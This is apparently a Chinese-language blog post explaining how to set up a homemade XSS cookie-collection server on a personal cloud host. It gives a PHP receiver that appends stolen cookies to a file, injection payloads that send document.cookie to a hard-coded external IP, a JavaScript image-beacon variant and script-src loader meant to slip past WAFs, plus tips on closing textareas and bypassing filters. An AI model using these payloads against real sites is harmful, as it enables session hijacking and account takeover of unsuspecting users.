简易XSS数据接收平台实现

尝试了现有的框架XSS Platform和xss BlueLotus,功能丰富,但是总是难以接收到数据。故出此下策,用自己的云服务器搭建简易的XSS数据接收平台。

PoC
<script>alert("xsshack!");</script>

hack.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php  
// 文件路径
$filePath = 'cookie.txt';

// GET传参
$cookie = $_GET['cookie'];

// 使用 'a' 模式打开文件(追加模式)
$file = fopen($filePath, 'a');

// 检查文件是否成功打开
if ($file) {
// 获取当前时间
$currentTime = date('Y-m-d H:i:s');

// 要写入的内容,这里我们添加了时间戳
$content = "Time:".$currentTime."\n".$cookie."\n";

// 写入内容到文件
fwrite($file, $content);

// 关闭文件
fclose($file);

echo "内容已成功写入文件。";
} else {
// 如果文件打开失败
echo "无法打开文件。";
}
?>

上面这个php便可以接收cookie值并存入文件中,搭配下面Exp使用即可。
<script>window.open('http://43.139.207.11/xsshack/hack.php?cookie='+document.cookie)</script>

如果遇见一些WAF对php或者cookie等关键词做屏蔽的话,可以搭配下面的js文件进行使用。

hack.js

1
2
3
var img = new Image();
img.src = "http://43.139.207.11/xsshack/hack.php?cookie="+document.cookie;
document.body.append(img);

此时的Exp如下。
<script src= "http://43.139.207.11/xsshack/hack.js"></script>

有时候需要对前面的文本域做一些闭合。
</textarea>

对众多WAF的绕过姿势类似于sql注入,比如双写、大小写混合、空格等等。
/**/